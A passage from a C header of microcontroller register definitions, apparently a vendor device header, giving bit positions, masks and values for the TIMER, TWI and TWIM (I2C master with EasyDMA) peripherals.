#define TIMER_SHORTS_COMPARE3_STOP_Enabled (1UL) /*!< Enable shortcut */
/* Bit 10 : Shortcut between COMPARE[2] event and STOP task */
#define TIMER_SHORTS_COMPARE2_STOP_Pos (10UL) /*!< Position of COMPARE2_STOP field. */
#define TIMER_SHORTS_COMPARE2_STOP_Msk (0x1UL << TIMER_SHORTS_COMPARE2_STOP_Pos) /*!< Bit mask of COMPARE2_STOP field. */
#define TIMER_SHORTS_COMPARE2_STOP_Disabled (0UL) /*!< Disable shortcut */
#define TIMER_SHORTS_COMPARE2_STOP_Enabled (1UL) /*!< Enable shortcut */
/* Bit 9 : Shortcut between COMPARE[1] event and STOP task */
#define TIMER_SHORTS_COMPARE1_STOP_Pos (9UL) /*!< Position of COMPARE1_STOP field. */
#define TIMER_SHORTS_COMPARE1_STOP_Msk (0x1UL << TIMER_SHORTS_COMPARE1_STOP_Pos) /*!< Bit mask of COMPARE1_STOP field. */
#define TIMER_SHORTS_COMPARE1_STOP_Disabled (0UL) /*!< Disable shortcut */
#define TIMER_SHORTS_COMPARE1_STOP_Enabled (1UL) /*!< Enable shortcut */
/* Bit 8 : Shortcut between COMPARE[0] event and STOP task */
#define TIMER_SHORTS_COMPARE0_STOP_Pos (8UL) /*!< Position of COMPARE0_STOP field. */
#define TIMER_SHORTS_COMPARE0_STOP_Msk (0x1UL << TIMER_SHORTS_COMPARE0_STOP_Pos) /*!< Bit mask of COMPARE0_STOP field. */
#define TIMER_SHORTS_COMPARE0_STOP_Disabled (0UL) /*!< Disable shortcut */
#define TIMER_SHORTS_COMPARE0_STOP_Enabled (1UL) /*!< Enable shortcut */
/* Bit 5 : Shortcut between COMPARE[5] event and CLEAR task */
#define TIMER_SHORTS_COMPARE5_CLEAR_Pos (5UL) /*!< Position of COMPARE5_CLEAR field. */
#define TIMER_SHORTS_COMPARE5_CLEAR_Msk (0x1UL << TIMER_SHORTS_COMPARE5_CLEAR_Pos) /*!< Bit mask of COMPARE5_CLEAR field. */
#define TIMER_SHORTS_COMPARE5_CLEAR_Disabled (0UL) /*!< Disable shortcut */
#define TIMER_SHORTS_COMPARE5_CLEAR_Enabled (1UL) /*!< Enable shortcut */
/* Bit 4 : Shortcut between COMPARE[4] event and CLEAR task */
#define TIMER_SHORTS_COMPARE4_CLEAR_Pos (4UL) /*!< Position of COMPARE4_CLEAR field. */
#define TIMER_SHORTS_COMPARE4_CLEAR_Msk (0x1UL << TIMER_SHORTS_COMPARE4_CLEAR_Pos) /*!< Bit mask of COMPARE4_CLEAR field. */
#define TIMER_SHORTS_COMPARE4_CLEAR_Disabled (0UL) /*!< Disable shortcut */
#define TIMER_SHORTS_COMPARE4_CLEAR_Enabled (1UL) /*!< Enable shortcut */
/* Bit 3 : Shortcut between COMPARE[3] event and CLEAR task */
#define TIMER_SHORTS_COMPARE3_CLEAR_Pos (3UL) /*!< Position of COMPARE3_CLEAR field. */
#define TIMER_SHORTS_COMPARE3_CLEAR_Msk (0x1UL << TIMER_SHORTS_COMPARE3_CLEAR_Pos) /*!< Bit mask of COMPARE3_CLEAR field. */
#define TIMER_SHORTS_COMPARE3_CLEAR_Disabled (0UL) /*!< Disable shortcut */
#define TIMER_SHORTS_COMPARE3_CLEAR_Enabled (1UL) /*!< Enable shortcut */
/* Bit 2 : Shortcut between COMPARE[2] event and CLEAR task */
#define TIMER_SHORTS_COMPARE2_CLEAR_Pos (2UL) /*!< Position of COMPARE2_CLEAR field. */
#define TIMER_SHORTS_COMPARE2_CLEAR_Msk (0x1UL << TIMER_SHORTS_COMPARE2_CLEAR_Pos) /*!< Bit mask of COMPARE2_CLEAR field. */
#define TIMER_SHORTS_COMPARE2_CLEAR_Disabled (0UL) /*!< Disable shortcut */
#define TIMER_SHORTS_COMPARE2_CLEAR_Enabled (1UL) /*!< Enable shortcut */
/* Bit 1 : Shortcut between COMPARE[1] event and CLEAR task */
#define TIMER_SHORTS_COMPARE1_CLEAR_Pos (1UL) /*!< Position of COMPARE1_CLEAR field. */
#define TIMER_SHORTS_COMPARE1_CLEAR_Msk (0x1UL << TIMER_SHORTS_COMPARE1_CLEAR_Pos) /*!< Bit mask of COMPARE1_CLEAR field. */
#define TIMER_SHORTS_COMPARE1_CLEAR_Disabled (0UL) /*!< Disable shortcut */
#define TIMER_SHORTS_COMPARE1_CLEAR_Enabled (1UL) /*!< Enable shortcut */
/* Bit 0 : Shortcut between COMPARE[0] event and CLEAR task */
#define TIMER_SHORTS_COMPARE0_CLEAR_Pos (0UL) /*!< Position of COMPARE0_CLEAR field. */
#define TIMER_SHORTS_COMPARE0_CLEAR_Msk (0x1UL << TIMER_SHORTS_COMPARE0_CLEAR_Pos) /*!< Bit mask of COMPARE0_CLEAR field. */
#define TIMER_SHORTS_COMPARE0_CLEAR_Disabled (0UL) /*!< Disable shortcut */
#define TIMER_SHORTS_COMPARE0_CLEAR_Enabled (1UL) /*!< Enable shortcut */
/* Register: TIMER_INTENSET */
/* Description: Enable interrupt */
/* Bit 21 : Write '1' to Enable interrupt for COMPARE[5] event */
#define TIMER_INTENSET_COMPARE5_Pos (21UL) /*!< Position of COMPARE5 field. */
#define TIMER_INTENSET_COMPARE5_Msk (0x1UL << TIMER_INTENSET_COMPARE5_Pos) /*!< Bit mask of COMPARE5 field. */
#define TIMER_INTENSET_COMPARE5_Disabled (0UL) /*!< Read: Disabled */
#define TIMER_INTENSET_COMPARE5_Enabled (1UL) /*!< Read: Enabled */
#define TIMER_INTENSET_COMPARE5_Set (1UL) /*!< Enable */
/* Bit 20 : Write '1' to Enable interrupt for COMPARE[4] event */
#define TIMER_INTENSET_COMPARE4_Pos (20UL) /*!< Position of COMPARE4 field. */
#define TIMER_INTENSET_COMPARE4_Msk (0x1UL << TIMER_INTENSET_COMPARE4_Pos) /*!< Bit mask of COMPARE4 field. */
#define TIMER_INTENSET_COMPARE4_Disabled (0UL) /*!< Read: Disabled */
#define TIMER_INTENSET_COMPARE4_Enabled (1UL) /*!< Read: Enabled */
#define TIMER_INTENSET_COMPARE4_Set (1UL) /*!< Enable */
/* Bit 19 : Write '1' to Enable interrupt for COMPARE[3] event */
#define TIMER_INTENSET_COMPARE3_Pos (19UL) /*!< Position of COMPARE3 field. */
#define TIMER_INTENSET_COMPARE3_Msk (0x1UL << TIMER_INTENSET_COMPARE3_Pos) /*!< Bit mask of COMPARE3 field. */
#define TIMER_INTENSET_COMPARE3_Disabled (0UL) /*!< Read: Disabled */
#define TIMER_INTENSET_COMPARE3_Enabled (1UL) /*!< Read: Enabled */
#define TIMER_INTENSET_COMPARE3_Set (1UL) /*!< Enable */
/* Bit 18 : Write '1' to Enable interrupt for COMPARE[2] event */
#define TIMER_INTENSET_COMPARE2_Pos (18UL) /*!< Position of COMPARE2 field. */
#define TIMER_INTENSET_COMPARE2_Msk (0x1UL << TIMER_INTENSET_COMPARE2_Pos) /*!< Bit mask of COMPARE2 field. */
#define TIMER_INTENSET_COMPARE2_Disabled (0UL) /*!< Read: Disabled */
#define TIMER_INTENSET_COMPARE2_Enabled (1UL) /*!< Read: Enabled */
#define TIMER_INTENSET_COMPARE2_Set (1UL) /*!< Enable */
/* Bit 17 : Write '1' to Enable interrupt for COMPARE[1] event */
#define TIMER_INTENSET_COMPARE1_Pos (17UL) /*!< Position of COMPARE1 field. */
#define TIMER_INTENSET_COMPARE1_Msk (0x1UL << TIMER_INTENSET_COMPARE1_Pos) /*!< Bit mask of COMPARE1 field. */
#define TIMER_INTENSET_COMPARE1_Disabled (0UL) /*!< Read: Disabled */
#define TIMER_INTENSET_COMPARE1_Enabled (1UL) /*!< Read: Enabled */
#define TIMER_INTENSET_COMPARE1_Set (1UL) /*!< Enable */
/* Bit 16 : Write '1' to Enable interrupt for COMPARE[0] event */
#define TIMER_INTENSET_COMPARE0_Pos (16UL) /*!< Position of COMPARE0 field. */
#define TIMER_INTENSET_COMPARE0_Msk (0x1UL << TIMER_INTENSET_COMPARE0_Pos) /*!< Bit mask of COMPARE0 field. */
#define TIMER_INTENSET_COMPARE0_Disabled (0UL) /*!< Read: Disabled */
#define TIMER_INTENSET_COMPARE0_Enabled (1UL) /*!< Read: Enabled */
#define TIMER_INTENSET_COMPARE0_Set (1UL) /*!< Enable */
/* Register: TIMER_INTENCLR */
/* Description: Disable interrupt */
/* Bit 21 : Write '1' to Disable interrupt for COMPARE[5] event */
#define TIMER_INTENCLR_COMPARE5_Pos (21UL) /*!< Position of COMPARE5 field. */
#define TIMER_INTENCLR_COMPARE5_Msk (0x1UL << TIMER_INTENCLR_COMPARE5_Pos) /*!< Bit mask of COMPARE5 field. */
#define TIMER_INTENCLR_COMPARE5_Disabled (0UL) /*!< Read: Disabled */
#define TIMER_INTENCLR_COMPARE5_Enabled (1UL) /*!< Read: Enabled */
#define TIMER_INTENCLR_COMPARE5_Clear (1UL) /*!< Disable */
/* Bit 20 : Write '1' to Disable interrupt for COMPARE[4] event */
#define TIMER_INTENCLR_COMPARE4_Pos (20UL) /*!< Position of COMPARE4 field. */
#define TIMER_INTENCLR_COMPARE4_Msk (0x1UL << TIMER_INTENCLR_COMPARE4_Pos) /*!< Bit mask of COMPARE4 field. */
#define TIMER_INTENCLR_COMPARE4_Disabled (0UL) /*!< Read: Disabled */
#define TIMER_INTENCLR_COMPARE4_Enabled (1UL) /*!< Read: Enabled */
#define TIMER_INTENCLR_COMPARE4_Clear (1UL) /*!< Disable */
/* Bit 19 : Write '1' to Disable interrupt for COMPARE[3] event */
#define TIMER_INTENCLR_COMPARE3_Pos (19UL) /*!< Position of COMPARE3 field. */
#define TIMER_INTENCLR_COMPARE3_Msk (0x1UL << TIMER_INTENCLR_COMPARE3_Pos) /*!< Bit mask of COMPARE3 field. */
#define TIMER_INTENCLR_COMPARE3_Disabled (0UL) /*!< Read: Disabled */
#define TIMER_INTENCLR_COMPARE3_Enabled (1UL) /*!< Read: Enabled */
#define TIMER_INTENCLR_COMPARE3_Clear (1UL) /*!< Disable */
/* Bit 18 : Write '1' to Disable interrupt for COMPARE[2] event */
#define TIMER_INTENCLR_COMPARE2_Pos (18UL) /*!< Position of COMPARE2 field. */
#define TIMER_INTENCLR_COMPARE2_Msk (0x1UL << TIMER_INTENCLR_COMPARE2_Pos) /*!< Bit mask of COMPARE2 field. */
#define TIMER_INTENCLR_COMPARE2_Disabled (0UL) /*!< Read: Disabled */
#define TIMER_INTENCLR_COMPARE2_Enabled (1UL) /*!< Read: Enabled */
#define TIMER_INTENCLR_COMPARE2_Clear (1UL) /*!< Disable */
/* Bit 17 : Write '1' to Disable interrupt for COMPARE[1] event */
#define TIMER_INTENCLR_COMPARE1_Pos (17UL) /*!< Position of COMPARE1 field. */
#define TIMER_INTENCLR_COMPARE1_Msk (0x1UL << TIMER_INTENCLR_COMPARE1_Pos) /*!< Bit mask of COMPARE1 field. */
#define TIMER_INTENCLR_COMPARE1_Disabled (0UL) /*!< Read: Disabled */
#define TIMER_INTENCLR_COMPARE1_Enabled (1UL) /*!< Read: Enabled */
#define TIMER_INTENCLR_COMPARE1_Clear (1UL) /*!< Disable */
/* Bit 16 : Write '1' to Disable interrupt for COMPARE[0] event */
#define TIMER_INTENCLR_COMPARE0_Pos (16UL) /*!< Position of COMPARE0 field. */
#define TIMER_INTENCLR_COMPARE0_Msk (0x1UL << TIMER_INTENCLR_COMPARE0_Pos) /*!< Bit mask of COMPARE0 field. */
#define TIMER_INTENCLR_COMPARE0_Disabled (0UL) /*!< Read: Disabled */
#define TIMER_INTENCLR_COMPARE0_Enabled (1UL) /*!< Read: Enabled */
#define TIMER_INTENCLR_COMPARE0_Clear (1UL) /*!< Disable */
/* Register: TIMER_MODE */
/* Description: Timer mode selection */
/* Bits 1..0 : Timer mode */
#define TIMER_MODE_MODE_Pos (0UL) /*!< Position of MODE field. */
#define TIMER_MODE_MODE_Msk (0x3UL << TIMER_MODE_MODE_Pos) /*!< Bit mask of MODE field. */
#define TIMER_MODE_MODE_Timer (0UL) /*!< Select Timer mode */
#define TIMER_MODE_MODE_Counter (1UL) /*!< Deprecated enumerator - Select Counter mode */
#define TIMER_MODE_MODE_LowPowerCounter (2UL) /*!< Select Low Power Counter mode */
/* Register: TIMER_BITMODE */
/* Description: Configure the number of bits used by the TIMER */
/* Bits 1..0 : Timer bit width */
#define TIMER_BITMODE_BITMODE_Pos (0UL) /*!< Position of BITMODE field. */
#define TIMER_BITMODE_BITMODE_Msk (0x3UL << TIMER_BITMODE_BITMODE_Pos) /*!< Bit mask of BITMODE field. */
#define TIMER_BITMODE_BITMODE_16Bit (0UL) /*!< 16 bit timer bit width */
#define TIMER_BITMODE_BITMODE_08Bit (1UL) /*!< 8 bit timer bit width */
#define TIMER_BITMODE_BITMODE_24Bit (2UL) /*!< 24 bit timer bit width */
#define TIMER_BITMODE_BITMODE_32Bit (3UL) /*!< 32 bit timer bit width */
/* Register: TIMER_PRESCALER */
/* Description: Timer prescaler register */
/* Bits 3..0 : Prescaler value */
#define TIMER_PRESCALER_PRESCALER_Pos (0UL) /*!< Position of PRESCALER field. */
#define TIMER_PRESCALER_PRESCALER_Msk (0xFUL << TIMER_PRESCALER_PRESCALER_Pos) /*!< Bit mask of PRESCALER field. */
/* Register: TIMER_CC */
/* Description: Description collection[0]: Capture/Compare register 0 */
/* Bits 31..0 : Capture/Compare value */
#define TIMER_CC_CC_Pos (0UL) /*!< Position of CC field. */
#define TIMER_CC_CC_Msk (0xFFFFFFFFUL << TIMER_CC_CC_Pos) /*!< Bit mask of CC field. */
/* Peripheral: TWI */
/* Description: I2C compatible Two-Wire Interface 0 */
/* Register: TWI_SHORTS */
/* Description: Shortcut register */
/* Bit 1 : Shortcut between BB event and STOP task */
#define TWI_SHORTS_BB_STOP_Pos (1UL) /*!< Position of BB_STOP field. */
#define TWI_SHORTS_BB_STOP_Msk (0x1UL << TWI_SHORTS_BB_STOP_Pos) /*!< Bit mask of BB_STOP field. */
#define TWI_SHORTS_BB_STOP_Disabled (0UL) /*!< Disable shortcut */
#define TWI_SHORTS_BB_STOP_Enabled (1UL) /*!< Enable shortcut */
/* Bit 0 : Shortcut between BB event and SUSPEND task */
#define TWI_SHORTS_BB_SUSPEND_Pos (0UL) /*!< Position of BB_SUSPEND field. */
#define TWI_SHORTS_BB_SUSPEND_Msk (0x1UL << TWI_SHORTS_BB_SUSPEND_Pos) /*!< Bit mask of BB_SUSPEND field. */
#define TWI_SHORTS_BB_SUSPEND_Disabled (0UL) /*!< Disable shortcut */
#define TWI_SHORTS_BB_SUSPEND_Enabled (1UL) /*!< Enable shortcut */
/* Register: TWI_INTENSET */
/* Description: Enable interrupt */
/* Bit 18 : Write '1' to Enable interrupt for SUSPENDED event */
#define TWI_INTENSET_SUSPENDED_Pos (18UL) /*!< Position of SUSPENDED field. */
#define TWI_INTENSET_SUSPENDED_Msk (0x1UL << TWI_INTENSET_SUSPENDED_Pos) /*!< Bit mask of SUSPENDED field. */
#define TWI_INTENSET_SUSPENDED_Disabled (0UL) /*!< Read: Disabled */
#define TWI_INTENSET_SUSPENDED_Enabled (1UL) /*!< Read: Enabled */
#define TWI_INTENSET_SUSPENDED_Set (1UL) /*!< Enable */
/* Bit 14 : Write '1' to Enable interrupt for BB event */
#define TWI_INTENSET_BB_Pos (14UL) /*!< Position of BB field. */
#define TWI_INTENSET_BB_Msk (0x1UL << TWI_INTENSET_BB_Pos) /*!< Bit mask of BB field. */
#define TWI_INTENSET_BB_Disabled (0UL) /*!< Read: Disabled */
#define TWI_INTENSET_BB_Enabled (1UL) /*!< Read: Enabled */
#define TWI_INTENSET_BB_Set (1UL) /*!< Enable */
/* Bit 9 : Write '1' to Enable interrupt for ERROR event */
#define TWI_INTENSET_ERROR_Pos (9UL) /*!< Position of ERROR field. */
#define TWI_INTENSET_ERROR_Msk (0x1UL << TWI_INTENSET_ERROR_Pos) /*!< Bit mask of ERROR field. */
#define TWI_INTENSET_ERROR_Disabled (0UL) /*!< Read: Disabled */
#define TWI_INTENSET_ERROR_Enabled (1UL) /*!< Read: Enabled */
#define TWI_INTENSET_ERROR_Set (1UL) /*!< Enable */
/* Bit 7 : Write '1' to Enable interrupt for TXDSENT event */
#define TWI_INTENSET_TXDSENT_Pos (7UL) /*!< Position of TXDSENT field. */
#define TWI_INTENSET_TXDSENT_Msk (0x1UL << TWI_INTENSET_TXDSENT_Pos) /*!< Bit mask of TXDSENT field. */
#define TWI_INTENSET_TXDSENT_Disabled (0UL) /*!< Read: Disabled */
#define TWI_INTENSET_TXDSENT_Enabled (1UL) /*!< Read: Enabled */
#define TWI_INTENSET_TXDSENT_Set (1UL) /*!< Enable */
/* Bit 2 : Write '1' to Enable interrupt for RXDREADY event */
#define TWI_INTENSET_RXDREADY_Pos (2UL) /*!< Position of RXDREADY field. */
#define TWI_INTENSET_RXDREADY_Msk (0x1UL << TWI_INTENSET_RXDREADY_Pos) /*!< Bit mask of RXDREADY field. */
#define TWI_INTENSET_RXDREADY_Disabled (0UL) /*!< Read: Disabled */
#define TWI_INTENSET_RXDREADY_Enabled (1UL) /*!< Read: Enabled */
#define TWI_INTENSET_RXDREADY_Set (1UL) /*!< Enable */
/* Bit 1 : Write '1' to Enable interrupt for STOPPED event */
#define TWI_INTENSET_STOPPED_Pos (1UL) /*!< Position of STOPPED field. */
#define TWI_INTENSET_STOPPED_Msk (0x1UL << TWI_INTENSET_STOPPED_Pos) /*!< Bit mask of STOPPED field. */
#define TWI_INTENSET_STOPPED_Disabled (0UL) /*!< Read: Disabled */
#define TWI_INTENSET_STOPPED_Enabled (1UL) /*!< Read: Enabled */
#define TWI_INTENSET_STOPPED_Set (1UL) /*!< Enable */
/* Register: TWI_INTENCLR */
/* Description: Disable interrupt */
/* Bit 18 : Write '1' to Disable interrupt for SUSPENDED event */
#define TWI_INTENCLR_SUSPENDED_Pos (18UL) /*!< Position of SUSPENDED field. */
#define TWI_INTENCLR_SUSPENDED_Msk (0x1UL << TWI_INTENCLR_SUSPENDED_Pos) /*!< Bit mask of SUSPENDED field. */
#define TWI_INTENCLR_SUSPENDED_Disabled (0UL) /*!< Read: Disabled */
#define TWI_INTENCLR_SUSPENDED_Enabled (1UL) /*!< Read: Enabled */
#define TWI_INTENCLR_SUSPENDED_Clear (1UL) /*!< Disable */
/* Bit 14 : Write '1' to Disable interrupt for BB event */
#define TWI_INTENCLR_BB_Pos (14UL) /*!< Position of BB field. */
#define TWI_INTENCLR_BB_Msk (0x1UL << TWI_INTENCLR_BB_Pos) /*!< Bit mask of BB field. */
#define TWI_INTENCLR_BB_Disabled (0UL) /*!< Read: Disabled */
#define TWI_INTENCLR_BB_Enabled (1UL) /*!< Read: Enabled */
#define TWI_INTENCLR_BB_Clear (1UL) /*!< Disable */
/* Bit 9 : Write '1' to Disable interrupt for ERROR event */
#define TWI_INTENCLR_ERROR_Pos (9UL) /*!< Position of ERROR field. */
#define TWI_INTENCLR_ERROR_Msk (0x1UL << TWI_INTENCLR_ERROR_Pos) /*!< Bit mask of ERROR field. */
#define TWI_INTENCLR_ERROR_Disabled (0UL) /*!< Read: Disabled */
#define TWI_INTENCLR_ERROR_Enabled (1UL) /*!< Read: Enabled */
#define TWI_INTENCLR_ERROR_Clear (1UL) /*!< Disable */
/* Bit 7 : Write '1' to Disable interrupt for TXDSENT event */
#define TWI_INTENCLR_TXDSENT_Pos (7UL) /*!< Position of TXDSENT field. */
#define TWI_INTENCLR_TXDSENT_Msk (0x1UL << TWI_INTENCLR_TXDSENT_Pos) /*!< Bit mask of TXDSENT field. */
#define TWI_INTENCLR_TXDSENT_Disabled (0UL) /*!< Read: Disabled */
#define TWI_INTENCLR_TXDSENT_Enabled (1UL) /*!< Read: Enabled */
#define TWI_INTENCLR_TXDSENT_Clear (1UL) /*!< Disable */
/* Bit 2 : Write '1' to Disable interrupt for RXDREADY event */
#define TWI_INTENCLR_RXDREADY_Pos (2UL) /*!< Position of RXDREADY field. */
#define TWI_INTENCLR_RXDREADY_Msk (0x1UL << TWI_INTENCLR_RXDREADY_Pos) /*!< Bit mask of RXDREADY field. */
#define TWI_INTENCLR_RXDREADY_Disabled (0UL) /*!< Read: Disabled */
#define TWI_INTENCLR_RXDREADY_Enabled (1UL) /*!< Read: Enabled */
#define TWI_INTENCLR_RXDREADY_Clear (1UL) /*!< Disable */
/* Bit 1 : Write '1' to Disable interrupt for STOPPED event */
#define TWI_INTENCLR_STOPPED_Pos (1UL) /*!< Position of STOPPED field. */
#define TWI_INTENCLR_STOPPED_Msk (0x1UL << TWI_INTENCLR_STOPPED_Pos) /*!< Bit mask of STOPPED field. */
#define TWI_INTENCLR_STOPPED_Disabled (0UL) /*!< Read: Disabled */
#define TWI_INTENCLR_STOPPED_Enabled (1UL) /*!< Read: Enabled */
#define TWI_INTENCLR_STOPPED_Clear (1UL) /*!< Disable */
/* Register: TWI_ERRORSRC */
/* Description: Error source */
/* Bit 2 : NACK received after sending a data byte (write '1' to clear) */
#define TWI_ERRORSRC_DNACK_Pos (2UL) /*!< Position of DNACK field. */
#define TWI_ERRORSRC_DNACK_Msk (0x1UL << TWI_ERRORSRC_DNACK_Pos) /*!< Bit mask of DNACK field. */
#define TWI_ERRORSRC_DNACK_NotPresent (0UL) /*!< Read: error not present */
#define TWI_ERRORSRC_DNACK_Present (1UL) /*!< Read: error present */
/* Bit 1 : NACK received after sending the address (write '1' to clear) */
#define TWI_ERRORSRC_ANACK_Pos (1UL) /*!< Position of ANACK field. */
#define TWI_ERRORSRC_ANACK_Msk (0x1UL << TWI_ERRORSRC_ANACK_Pos) /*!< Bit mask of ANACK field. */
#define TWI_ERRORSRC_ANACK_NotPresent (0UL) /*!< Read: error not present */
#define TWI_ERRORSRC_ANACK_Present (1UL) /*!< Read: error present */
/* Bit 0 : Overrun error */
#define TWI_ERRORSRC_OVERRUN_Pos (0UL) /*!< Position of OVERRUN field. */
#define TWI_ERRORSRC_OVERRUN_Msk (0x1UL << TWI_ERRORSRC_OVERRUN_Pos) /*!< Bit mask of OVERRUN field. */
#define TWI_ERRORSRC_OVERRUN_NotPresent (0UL) /*!< Read: no overrun occured */
#define TWI_ERRORSRC_OVERRUN_Present (1UL) /*!< Read: overrun occured */
/* Register: TWI_ENABLE */
/* Description: Enable TWI */
/* Bits 3..0 : Enable or disable TWI */
#define TWI_ENABLE_ENABLE_Pos (0UL) /*!< Position of ENABLE field. */
#define TWI_ENABLE_ENABLE_Msk (0xFUL << TWI_ENABLE_ENABLE_Pos) /*!< Bit mask of ENABLE field. */
#define TWI_ENABLE_ENABLE_Disabled (0UL) /*!< Disable TWI */
#define TWI_ENABLE_ENABLE_Enabled (5UL) /*!< Enable TWI */
/* Register: TWI_PSELSCL */
/* Description: Pin select for SCL */
/* Bits 31..0 : Pin number configuration for TWI SCL signal */
#define TWI_PSELSCL_PSELSCL_Pos (0UL) /*!< Position of PSELSCL field. */
#define TWI_PSELSCL_PSELSCL_Msk (0xFFFFFFFFUL << TWI_PSELSCL_PSELSCL_Pos) /*!< Bit mask of PSELSCL field. */
#define TWI_PSELSCL_PSELSCL_Disconnected (0xFFFFFFFFUL) /*!< Disconnect */
/* Register: TWI_PSELSDA */
/* Description: Pin select for SDA */
/* Bits 31..0 : Pin number configuration for TWI SDA signal */
#define TWI_PSELSDA_PSELSDA_Pos (0UL) /*!< Position of PSELSDA field. */
#define TWI_PSELSDA_PSELSDA_Msk (0xFFFFFFFFUL << TWI_PSELSDA_PSELSDA_Pos) /*!< Bit mask of PSELSDA field. */
#define TWI_PSELSDA_PSELSDA_Disconnected (0xFFFFFFFFUL) /*!< Disconnect */
/* Register: TWI_RXD */
/* Description: RXD register */
/* Bits 7..0 : RXD register */
#define TWI_RXD_RXD_Pos (0UL) /*!< Position of RXD field. */
#define TWI_RXD_RXD_Msk (0xFFUL << TWI_RXD_RXD_Pos) /*!< Bit mask of RXD field. */
/* Register: TWI_TXD */
/* Description: TXD register */
/* Bits 7..0 : TXD register */
#define TWI_TXD_TXD_Pos (0UL) /*!< Position of TXD field. */
#define TWI_TXD_TXD_Msk (0xFFUL << TWI_TXD_TXD_Pos) /*!< Bit mask of TXD field. */
/* Register: TWI_FREQUENCY */
/* Description: TWI frequency */
/* Bits 31..0 : TWI master clock frequency */
#define TWI_FREQUENCY_FREQUENCY_Pos (0UL) /*!< Position of FREQUENCY field. */
#define TWI_FREQUENCY_FREQUENCY_Msk (0xFFFFFFFFUL << TWI_FREQUENCY_FREQUENCY_Pos) /*!< Bit mask of FREQUENCY field. */
#define TWI_FREQUENCY_FREQUENCY_K100 (0x01980000UL) /*!< 100 kbps */
#define TWI_FREQUENCY_FREQUENCY_K250 (0x04000000UL) /*!< 250 kbps */
#define TWI_FREQUENCY_FREQUENCY_K400 (0x06680000UL) /*!< 400 kbps (actual rate 410.256 kbps) */
/* Register: TWI_ADDRESS */
/* Description: Address used in the TWI transfer */
/* Bits 6..0 : Address used in the TWI transfer */
#define TWI_ADDRESS_ADDRESS_Pos (0UL) /*!< Position of ADDRESS field. */
#define TWI_ADDRESS_ADDRESS_Msk (0x7FUL << TWI_ADDRESS_ADDRESS_Pos) /*!< Bit mask of ADDRESS field. */
/* Peripheral: TWIM */
/* Description: I2C compatible Two-Wire Master Interface with EasyDMA 0 */
/* Register: TWIM_SHORTS */
/* Description: Shortcut register */
/* Bit 12 : Shortcut between LASTRX event and STOP task */
#define TWIM_SHORTS_LASTRX_STOP_Pos (12UL) /*!< Position of LASTRX_STOP field. */
#define TWIM_SHORTS_LASTRX_STOP_Msk (0x1UL << TWIM_SHORTS_LASTRX_STOP_Pos) /*!< Bit mask of LASTRX_STOP field. */
#define TWIM_SHORTS_LASTRX_STOP_Disabled (0UL) /*!< Disable shortcut */
#define TWIM_SHORTS_LASTRX_STOP_Enabled (1UL) /*!< Enable shortcut */
/* Bit 10 : Shortcut between LASTRX event and STARTTX task */
#define TWIM_SHORTS_LASTRX_STARTTX_Pos (10UL) /*!< Position of LASTRX_STARTTX field. */
#define TWIM_SHORTS_LASTRX_STARTTX_Msk (0x1UL << TWIM_SHORTS_LASTRX_STARTTX_Pos) /*!< Bit mask of LASTRX_STARTTX field. */
#define TWIM_SHORTS_LASTRX_STARTTX_Disabled (0UL) /*!< Disable shortcut */
#define TWIM_SHORTS_LASTRX_STARTTX_Enabled (1UL) /*!< Enable shortcut */
/* Bit 9 : Shortcut between LASTTX event and STOP task */
#define TWIM_SHORTS_LASTTX_STOP_Pos (9UL) /*!< Position of LASTTX_STOP field. */
#define TWIM_SHORTS_LASTTX_STOP_Msk (0x1UL << TWIM_SHORTS_LASTTX_STOP_Pos) /*!< Bit mask of LASTTX_STOP field. */
#define TWIM_SHORTS_LASTTX_STOP_Disabled (0UL) /*!< Disable shortcut */
#define TWIM_SHORTS_LASTTX_STOP_Enabled (1UL) /*!< Enable shortcut */
/* Bit 8 : Shortcut between LASTTX event and SUSPEND task */
#define TWIM_SHORTS_LASTTX_SUSPEND_Pos (8UL) /*!< Position of LASTTX_SUSPEND field. */
#define TWIM_SHORTS_LASTTX_SUSPEND_Msk (0x1UL << TWIM_SHORTS_LASTTX_SUSPEND_Pos) /*!< Bit mask of LASTTX_SUSPEND field. */
#define TWIM_SHORTS_LASTTX_SUSPEND_Disabled (0UL) /*!< Disable shortcut */
#define TWIM_SHORTS_LASTTX_SUSPEND_Enabled (1UL) /*!< Enable shortcut */
/* Bit 7 : Shortcut between LASTTX event and STARTRX task */
#define TWIM_SHORTS_LASTTX_STARTRX_Pos (7UL) /*!< Position of LASTTX_STARTRX field. */
#define TWIM_SHORTS_LASTTX_STARTRX_Msk (0x1UL << TWIM_SHORTS_LASTTX_STARTRX_Pos) /*!< Bit mask of LASTTX_STARTRX field. */
#define TWIM_SHORTS_LASTTX_STARTRX_Disabled (0UL) /*!< Disable shortcut */
#define TWIM_SHORTS_LASTTX_STARTRX_Enabled (1UL) /*!< Enable shortcut */
/* Register: TWIM_INTEN */
/* Description: Enable or disable interrupt */
/* Bit 24 : Enable or disable interrupt for LASTTX event */
#define TWIM_INTEN_LASTTX_Pos (24UL) /*!< Position of LASTTX field. */
#define TWIM_INTEN_LASTTX_Msk (0x1UL << TWIM_INTEN_LASTTX_Pos) /*!< Bit mask of LASTTX field. */
#define TWIM_INTEN_LASTTX_Disabled (0UL) /*!< Disable */
#define TWIM_INTEN_LASTTX_Enabled (1UL) /*!< Enable */
/* Bit 23 : Enable or disable interrupt for LASTRX event */
#define TWIM_INTEN_LASTRX_Pos (23UL) /*!< Position of LASTRX field. */
#define TWIM_INTEN_LASTRX_Msk (0x1UL << TWIM_INTEN_LASTRX_Pos) /*!< Bit mask of LASTRX field. */
#define TWIM_INTEN_LASTRX_Disabled (0UL) /*!< Disable */
#define TWIM_INTEN_LASTRX_Enabled (1UL) /*!< Enable */
/* Bit 20 : Enable or disable interrupt for TXSTARTED event */
#define TWIM_INTEN_TXSTARTED_Pos (20UL) /*!< Position of TXSTARTED field. */
#define TWIM_INTEN_TXSTARTED_Msk (0x1UL << TWIM_INTEN_TXSTARTED_Pos) /*!< Bit mask of TXSTARTED field. */
#define TWIM_INTEN_TXSTARTED_Disabled (0UL) /*!< Disable */
#define TWIM_INTEN_TXSTARTED_Enabled (1UL) /*!< Enable */
/* Bit 19 : Enable or disable interrupt for RXSTARTED event */
#define TWIM_INTEN_RXSTARTED_Pos (19UL) /*!< Position of RXSTARTED field. */
#define TWIM_INTEN_RXSTARTED_Msk (0x1UL << TWIM_INTEN_RXSTARTED_Pos) /*!< Bit mask of RXSTARTED field. */
#define TWIM_INTEN_RXSTARTED_Disabled (0UL) /*!< Disable */
#define TWIM_INTEN_RXSTARTED_Enabled (1UL) /*!< Enable */
/* Bit 18 : Enable or disable interrupt for SUSPENDED event */
